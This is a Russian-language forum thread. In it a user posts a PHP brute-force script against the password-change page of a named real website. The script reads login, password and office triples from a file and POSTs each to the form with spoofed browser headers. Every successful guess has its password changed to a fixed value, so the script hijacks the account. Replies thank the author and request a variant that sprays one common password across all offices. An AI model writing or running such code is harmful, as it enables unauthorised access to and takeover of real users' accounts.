Вот накатал немного, работать то работает, но скорочти большой не жди!! фигня но отнсительно пашет... PHP: <? #### брут для http://www.uzex.com/chpass/chpass.php #### #### ----- (с) nc.STRIEM -------#### $newpas="LOLLLL"; ///новый пароль $filepas="file.txt" ; ///файл вида логин;пароль;контора $iskl=array(); ///строки которых не должно быть в правильной странице $iskl[0]="Неверные данные!"; $iskl[1]="Неверная длина пароля!"; $fo=fopen($filepas,"r"); while(!feof($fo)) { $fp = fsockopen("www.uzex.com", 80, $errno, $errstr, 30); if (!$fp) echo "$errstr ($errno)<br />\n"; else { $soderg=rtrim(fgets($fo)); $dannii=split(";", $soderg); $login=$dannii[0]; $pass=$dannii[1]; $bkval=$dannii[2]; $out = "POST http://www.uzex.com/chpass/chpass.php HTTP/1.0 \r\n"; $out.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* \r\n"; $out.="Referer: http://www.uzex.com/chpass/chpass.php \r\n"; $out.="Accept-Language: ru \r\n"; $out.= "Content-Type: application/x-www-form-urlencoded \r\n"; $out.= "Proxy-Connection: Keep-Alive \r\n"; $out.= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.6 (build 01425)) \r\n"; $out.= "Host: www.uzex.com \r\n"; $zapr="act=change&BkTxt=$bkval&LoginTxt=$login&PasswdTxt=$pass&NewPasswdTxt=$newpas&ConfNewPasswdTxt=$newpas&button=%C8%E7%EC%E5%ED%E8%F2%FC"; $contleng=strlen($zapr); $out.= "Content-Length: $contleng \r\n"; $out.= "Pragma: no-cache \r\n\r\n"; $out.= "$zapr \r\n\r\n"; fwrite($fp, $out); $conte=""; while (!feof($fp)) $conte.=fgets($fp); $est=1; for($i=0;$i<sizeof($iskl);$i++) if(strstr($conte, $iskl[$i])) { $est=0; break; } if($est) { echo "Найден $login;$pass"; exit; } fclose($fp); } } echo "NO"; ?>
Биг респект nc.STRIEM. У меня к тебе есть ещ одна просба. А ты не мог бы написать скрипт по другому. Пусть он проверить все конторы с паролем например 123123 если такой есть то заменить на хаданный пароль.
nc.STRIEM Это теперь так. Если я напишу в файле файл.тхт bk200;123123;200 bk200;789789;200 Он только сделает две подбор пароля да ?